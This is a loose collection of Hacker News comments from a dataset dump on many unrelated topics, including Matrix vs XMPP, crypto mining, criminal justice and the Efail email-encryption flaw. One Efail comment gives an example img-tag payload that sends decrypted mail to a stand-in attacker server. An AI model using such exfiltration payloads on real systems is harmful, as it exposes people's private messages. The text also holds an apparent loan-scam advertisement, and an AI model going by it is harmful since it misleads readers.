skysight-inc/HackerNews huggingface dataset:
Irrelevant, as I didn't say the Go team should build a package manager, just that Go lacks one.

And I mean a dominant one -- there's a few attempts for Golang. Default doesn't have to mean "core-team built". All the package managers I've mentioned are de-facto standards for their respective languages.
Have your read any job advertisements lately?
There is a middle ground where it's profitable for one company to make a drug, but not profitable for two companies to do it.
Yeah, converting CPU instructions from another architecture on-the-fly is not going to be fast :/
We have developed a custom workflow system in PHP for our company (academic text editing and related work). Back then (I was not directly involved from the start) none of the out of the box solutions fit our criteria, and it made more sense to just build a bespoke, custom fitted system. Workflows range from a few days to a month+, with no technical upper limit enforced, as far as I know.

We also don't need a huge throughput, so having something super-optimized was not a large concern.
There's always the difficulty of being able to recognise that as a lamen. Mediocre sales people are often transparent to anybody who listens to them and is able to ask questions. A mediocre engineer "blinds with science" and is very hard to identify without some amount of specialist knowledge.
> They are generally integrated in modern smoke detectors

No they are not. Most smoke detectors do not have carbon monoxide detection built in. You can buy combination units but you should not assume a smoke detector has carbon monoxide detection just because it’s new. Verify that the unit you purchase provides detection of both of you want both in one.

And replace your detectors if they’re 10 years old (or don’t have a date, in which case they’re way older than 10 years).
Because the vulnerability is just about adding HTML tags which will send decrypted content to a remote server controlled by attacker.

Example :
<img hxxp://hacker-server.com/--ENCRYPED CONTENT HERE--

If you disable remote content, it can't be exploited on thunderbird (which is disabled by default) BUT there may be other attack vector on other software/email client.

Anyway, the attacker still need to get a hand on your encrypted email.
One use of Matrix is defragmenting IM, and it's true that both XMPP and Matrix can be used to power chat systems.

However, architecturally they really couldn't be more different:

* Matrix's main data primitive is synchronising conversation history within a room - not message passing. In fact, there is no way to just 'send a user a message' in Matrix: instead, you can only synchronise your copy of a room's state and history with someone else's copy of it.

* Matrix rooms are replicated equally over all participating servers - there is no focal point as there is in a XMPP MUC.

* Matrix provides a single monolithic (beta) spec, which compliant clients have to implement (for a given class of clients). There are no optional features or competing extension proposals for a given feature for a given class of client (e.g. 'desktop messenger'), to try to avoid fragmentation.

* Matrix's baseline transport and encoding is super-simple-stupid HTTP+JSON, but with room for folks to propose superior transports & encodings as we see fit. So far there's been WS+JSON (which nobody seems to use, as it's not that massive an improvement over HTTP+JSON), and this year there's a GSoC project to look at MQTT-and-similar as an alternative.
The entire point of cryptocurrencies is to be decentralized, that's the key innovation. As long as I trust the overall system, I need not trust any one individual. If you're using a cryptocurrency that's centrally controlled you might as well use a fiat currency, at least those are in theory regulated.

When it comes to ASICs, it's very difficult for you or me to buy them outside the US or China. Someone wanting to set up a mining farm with 500 of them can probably arrange something, but if I want to buy just one here in Iceland, I'm screwed. No one ships single ASICs to Iceland for a sane shipping fee. Most won't ship them outside the US at all.

As a result, almost all the hashpower in bitcoin is coming from the US or China, and from the rest of the worlds perspective that's not good. It is /definitely/ within the Chinese governments power to seize all of bitmains strategic reserve of chips and use them to perform a 51% attack on bitcoin.

The benefit of ASIC resistance is that it forces everyone down to graphics cards or at least FPGA boards, and both of those can be bought over the counter in any western country, so it spreads the hashing out geographically, which is desirable from a resilience standpoint. If ASICs were widely available it would be a different matter, but since they aren't, it's overall better to force them out of the game for now.
p much. It's one of those words that's had a declining signal to noise value for a while.

https://www.youtube.com/watch?v=8MdjhKWG4IQ
You seem to miss the point with every response to your original comment. You keep saying things about the importance of things that can't be perceived. No one is suggesting that things don't "make a difference to us" if they aren't perceived. That's silly and doesn't even make sense - of course we care about certain things that we don't (or won't) perceive.

The point is that we experience time as flowing in a certain direction and can't experience it any other way. Knowing that we continue to exist in some tiny sliver of spacetime doesn't change that fact, and so it is not very comforting, for easily understandable reasons.

If you're on your deathbed, with your conscious experience about to flicker and die, no one in the room is going to be comforted by you saying "well look at it this way, my 2 year old self still exists somewhere that you can't ever access and that I'll never return to, and even if I did, none of us would have any idea that this conversation was going to happen in 90 years".
The comparison with amdflaws seems unfair. My understanding is that while they demonstrate a flaw in some email clients, it would be enough for an attacker to exploit one vulnerable target amongst the recipients to retrieve the plaintext email. Given that one cannot confirm whether others have taken appropriate steps, this vulnerability seems serious enough, no?
How do you manage to fall face first from a bicycle?
> several of whom discussed their decision to leave with Gizmodo, say that executives have become less transparent with their workforce about controversial business decisions

It's a significant amount of people if all of these people are close to or part of the project being discussed. I wouldn't expect Mike from the Angular team to resign over a project he knows little about so I don't think the employee count is relevant.
Marketing 101 for developers
These traits would make it a pretty good guard dog though.
I don't think this is the last few years. I am but one data point, but morality and law have always been closely linked in the United States. I would further claim that for many Christians, morality and law are also closely linked with religion. Southern political ads[0] will surely back this up.

[0]: https://www.youtube.com/watch?v=RwiqcZVujRc
Matrix is very extensible too; it's just that we aim to merge extensions as rapidly as possible into the core monolithic spec, rather than having them get fragmented into optional extensions.
President Trump Trying to Bring ZTE Back to Life
I disagree. The encryption system should not know about HTML, and these messages are "BAD MESSAGE"s even if they are unencrypted. That clearly points at the mail client, not the encryption layer.
As far as I understand it, the earliest communication was 2017/11/24, which they addressed as it appeared that GnuPG wasn't vulnerable as it would fail with an error message when processing the exploit as it was known in November.

A few days later, they got an email asking for a phone call, which wasn't followed up upon--I'm not sure to what extent this is GnuPG's fault, whether this is a usual way of communicating a serious vulnerability. It would've been better if they called em back, definitely goes for both parties.

Then after a few months of silence, 2.5 weeks ago, they received another email with a different title that, according to Werner Koch, was too redacted to act upon:

On 2017-11-29 we got a short mail asking for a phone call. It might be
that I did not reply to that but in any case my office phone number is
easy to lookup. I did not get a phone call.

Since then we have not seen any more communication - not even about the
proposed coordinated public disclosure. Thus I closed this issue in
December and forgot about it.

On 2018-04-27 I received another paper via a Kmail developer which had a
different title than the one from November

*** DO NOT PUBLISH OR SHARE ON PUBLIC MAILING LISTS ***
Efail: Breaking S/MIME and OpenPGP Email Encryption using
Exfiltration Channels

and no author names etc. The GnuPG team discussed this but did not see
that any action was required. In particular because due to the
redaction we were not able to contact and help the developers of other
MUAs which might be affected.

I mean yeah, in theory, BOTH parties could have been better at communicating and following up on it. But both parties are probably very busy and this kind of "no you call me back" is the sort of thing that falls through if you have to make choices about what to spend limited time on. That's why there exists protocol and coordination to tell something is really serious/urgent.

It does seem to me that the security researchers were a bit too trigger-happy on the redacting of information, in particular unnecessarily so in private emails to the security folk they expected to act on the vulnerability.
>Bridging to other protocols and defragmenting existing communication apps and networks is very much a second class citizen feature

Not sure what this means. XMPP gateways have been around forever, tend to actually work and are completely standardized with a specification and everything. The reason you don't hear more about them is because there is nothing much to gateway to any more. All the other IM systems have managed to close off their gardens to such an extent that gateways are pointless...

I guess that raises an obvious question. Is there an XMPP gateway to Matrix? I know there are some projects that are about gatewaying from Matrix to XMPP. One potential complication is that Matrix isn't an IM network as such, it is more of a IRC like distributed conference. There is a XMPP to IRC gateway, so it must be possible at some level...
The reason these sort of rules are absolute "never" are not because you'll end up with dangerous amounts of CO in 10 seconds, but because it makes it a simple rule to follow. Is 10 seconds OK? 15? 30? When does it stop being OK? Following an absolute rule eliminates much of the grey area where mistakes are made.
>but what about more "harsh" countries? Is it compared often?

In my non-expert mostly Nth hand (where n>=2) observation countries where everyone steps in line out of fear are generally better at getting people to step in line when someone's looking but when nobody's looking or people think they can get away with it there's less rule following

Treat people like idiots and they will

I'd rather have to lock my doors at night and take other action to insulate myself from other's poor decisions and personal freedom to make my own decisions than live in an authoritarian society where nobody makes the "wrong" decisions because of the reliability and harshness of law enforcement.
Looks like what I’d imagine the mechanical hounds in Fahrenheit 451.
> for murderers, rapist, mobsters, the only effective way to prevent recidivism is death penalty.

For all of them? What about the wrongly convicted? We know that a certain percentage of those found guilty of murder are later found to have been innocent. Victims of rape sometimes, years later, admit that they lied.

When your loved one, your child, is wrongly found guilty of such a crime, should we give them the death penalty immediately, or let them rot in a hellish prison for a few years first?

Nothing is a simple as you'd like it to be.
Will it jump into my bed and sleep on top of me though
Prison sentences really ruins people's lives. They lose their job, their house (can't pay mortgage or rent) and many times their relationship. I wonder how using ancient punishment would work nowadays. When someone commits a crime the judge and a doctor can decide how many time you should get whipped, shocked, or waterboarded and then after a few days of pain and humiliation the criminal can continue on with their life. Obviously for repeat offenders this may not work, but for first timers, it may work.
That's my understanding as well. Someone could try to make your email client img-src-get the plaintext of previously intercepted mails to a remote server, but it would be a very "noisy" attack: your typical PGP user would very quickly fall into a panic if they received all their old encrypted mail again, and for some reason the client would constantly beg for external image downloads in apparently plain text mails.
Docs will do that in the US too sometimes, but one challenge is that the "fee" you owe with private insurance differs from plan to plan. Doctors can't track the hundreds of different plans, so they don't know if the more expensive branded drug will cost you $10 more per month or $100 more per month. If you share that info with your doctor they are more than happy to work with you.
Matt Green gave a pretty good summary of this: https://twitter.com/matthew_d_green/status/99598925414360678...

Some of these thoughts are echoed by Filippo:

> No, in 2018 you don’t get to claim the high ground and blame users and implementations if your crypto API returns the plaintext on a decryption error.

from https://twitter.com/FiloSottile/status/996010161427935233

So yeah, most clients seem vulnerable but since the command line utility that pretty much no lambda users use is not broken HN is saying that this is a joke?

As for contacting the PGP team, I've tried reaching out Werner Koch many time for a vuln in libgcrypt without success. That was 2 years ago, the vuln is still there.
Didn’t know. Then, Microsoft, take notice. :-)
How Rust 1.26 more than tripled the speed of my code
Both things are problems. The encryption system should definitely be communicating that the message was tampered with...
I like how it uses its leg to press the elevator button.
You are correct, it is not, and the book is not relevant in any way to the article, aside from both containing references to the work of Gödel.
Interesting, I'm looking into Camunda right now for our processes. How would you describe the experience in terms of adoption and results ?
My understanding is the ethereum-based tokens can't scale so a true gamecoin will need its own chain. I've been following/waiting for this coin that is supposed to come out in a few days: https://chimaera.io/
I just stumbled across a reference to a study about recidivism in Massachusetts last century while reading "Against Empathy" by Paul Bloom, perhaps it'll interest you.

I'm much too lazy to type out the entire quote, but the author references the case of Willie Horton, convicted murderer, who was let out on furlough, who went on to reoffend. This caused outrage and the book doesn't go into more detail on whether the furlough program was suspended, but the author does reference a study at the time affirming that:

> the program may have reduced the likelihood of such incidents. A report at the time found that the recidivism rate in Massachusetts had dropped in the fifteen years after the program was introduced and that convicts who were furloughed were less likely to go on to commit a crime than those who were not.

in Paul Bloom, Against Empathy (2016), chapter 1, pp. 34–35. See also: Massachusetts Department of Correction, "The Massachusetts Furlough Program", May 1987, https://static.prisonpolicy.org/scans/MADOC/Furloughposition...

This example is used in the context of a chapter where it is posited that rationally, we might best continue the net-positive furlough program, whereas our empathy with the victims might lead us to abolish it after a statistical outlier causes atrocities to happen. I'll avoid commenting further on the book as i haven't yet read it completely.

Other than that very specific reference off the top of my head, i'd recommend looking at anything published about the Norwegian justice system. I believe it is quite progressive and mainly focussed on rehabilitation instead of punishment.
Arguably containerization is one of the great hopes for Enterprise devs in the Fortune 500 space and beyond: micro investments and isolated tech stacks. It reduces a lot of the risk of innovation, while also giving a clear preservation strategy for legacy apps.

Hybrid cloud installations to leverage cloud computing resources are becoming more and more "the norm". In that context having apps and services pre-packaged for deployment in heterogenous environments is strategic power.

"The cloud" tends not to be cheap, but using cloud services to carry out jobs your dedicated site never could hope touch is something with business value.
"Watchmen"

https://www.imdb.com/title/tt0409459/
The really great thing about XMPP is that basic messaging always works and is super simple to implement. Anything that changed that would be very bad.
So use an old compiler?
The problem is that the 1:1 conversations are a negligible weight relative to the massive 15,000 user rooms like #matrix:matrix.org - and spreading those 15,000 users over 15,000 servers rather than 1000 is going to just swap a client<->server API overload problem with an server<->server API overload...
More like Nixos services and modules.
>For anyone wondering I did some Googling: average salary for a software developer in London is £43k (£32.6k after tax), and San Francisco is £77k (£52k after tax), about 60% higher. Cost of living in San Francisco is about 15% higher. This doesn't include healthcare or property taxes so take it with a grain of salt.

What. 77k? From what I hear on HN here everyone earning less than $150k as a software engineer in the US is selling themselves short.
But lack of hand(s) helps to deter crime, isn't?

Jail is just modern version of that practice: hands are not cut, but whole body is jailed (temporary).
There are some that show the villain background, musings and/or rehabilitation. There also are some that show a hero becoming a villain. In fact many movies show and emphasize the reality is far from black-and-white. Unfortunately many people still don't get it and keep judging the characters just as good or bad.
China and Russia, and the general lack of democracy in certain oil-laden countries.
According to this table Thunderbird is vulnerable: https://twitter.com/matthew_d_green/status/99599862678571417...
I agree with his take as well.

The nature of consulting in my experience is such that a consultant will generally not have enough skin in the game, to use NNT's well-known phrase, to be able to deliver an out-sized outcome for the client, or to deliver an expensive but important life lesson for the consultant, if things go south.
There's one conception of self that I consider fairly constant, my ability to consciously perceive what's going on around me. Despite the fact that all of my body's cells get replaced completely every 7 years, _the fact that I perceive the world from "my" perspective remains constant_

Apart from that, I don't believe in a self.

I assume, that when I die, this perspective goes away as well, I consider death to equal a total loss of consciousness ability to percieve.
Very respectable decision in my book. Walking the walk, not just talking the talk.

You just can't abstract yourself away from ethical decisions ad infinitum. The level of self-deception needed to convince oneself that this, or whatever US military tech for that matter, would only be used for defensive purposes is mind-boggling to me.
There's also an option on FB not to share your wall posts with anyone. Yet you'd not infer from that that people sharing crap about their lifes on the wall is not integral to the FB's business model.

Something's wrong with your logic.
Remember that wolfbot that acted as a companion to Raiden in Metal Gear Rising: Revengeance?
I couldn’t help but think that if Palanteer employees ever decide to quit based on their company’s questionable decisions, there’d be no one left to work there.
I had been looking at using BPMN and an implementation of Camunda as a reasonable goal, but I never found an implementation of running a BPMN service that I liked in the time I had allotted. In the workflow each item is essentially a ticket so you end up with concurrent tickets in the state machine. It also has timers to generate events so you can have that monthly event start and trigger some other actions, and it also includes failure paths.
Welcome to Kelvin Shaw Loan Firm

This is a vibrant loan Company in the heart of New York , USA formed to
help individuals who are in need of financial crises and help them
achieve their goals in life.

Available Loans we offer are,

1. Personal Loans (Secure and Unsecured)
2. Business Loans (Secure and Unsecured)
3. Combination Loan
4. Consolidation Loan
5. Car Loan
6. House Loan
7. Home Improvement loan
8. Xmas Loan And many more

Interested clients should please send request to our email for
application form and terms

(https://kelvinshawloanfirm.wixsite.com/loan)
(kelvinshawloanfirm@gmail.com)
(Call: 609-526-3306)

Warm Regards
Thank you for this. I will do that ASAP
Not sleeping under coconut trees?

Vehicles kill 3000 people a day, that's before the pollution they cause.
Aren't the point of the standards to ensure there is no room for security holes? It seems kind of strange to make the security dependant on the implementation. Imo, it should be impossible to implement the standard in an insecure way.
Thanks. Checking it out
Being rich and/or powerful has always been a benefit to your lifespan.

Unless you were Japanese nobility centuries ago. Then your noble diet of polished white rice caused thiamine deficiency, leading to the development of kakke and an early death.
That’s, like, the opposite of npm though. It does dependencies per project, versioning, and does not impose any filesystem restrictions. Not that it doesn’t have issues.
RTFM[1]. Justice is not a vendetta.

[1]: http://justiceharvard.org/justicecourse/
Only that's not the case at all. Popular cinema and TV are bursting at the seams with antiheroes. From Clockwork Orange through Hannibal Lecter to Sopranos, Dexter, Breaking Bad...
Yup, they don't authenticate encrypted mails.
But wouldn't be better to organize it in domains, together with clean architecture? Because if the application have too many domains, it can get a bit messy, doesn't it? (Although if a micro-service strategy is used this shouldn't be a problem)
Fellowship of the Ring is the closest to Tolkien's vision for sure, with some notable exceptions. I think he would have enjoyed seeing rivendell designed.
What about attack vectors like this one (from the paper)?

For example, in Thunderbird and Postbox
we can completely redress the UI with CSS
and trick the user into submitting the
plaintext with an HTML form if he clicks
somewhere into the message.

That sounds like something that can easily happen, even with remote content disabled.

(Edit: Formatting)
While yeah, those things are super had to make I just could not help to think of how pathetic it looked compared to Boston Dynamic's Spot Mini.
I would love a new Monkey Island made by Ron Gilbert! But I think it is more likely that Disney hires Ron Gilbert to do it than selling the rights.
And the funny part is that currently the easiest way to build against an older/different version of the OS without being forced into the "prod env = dev env" situation is... to use docker or any other container solution.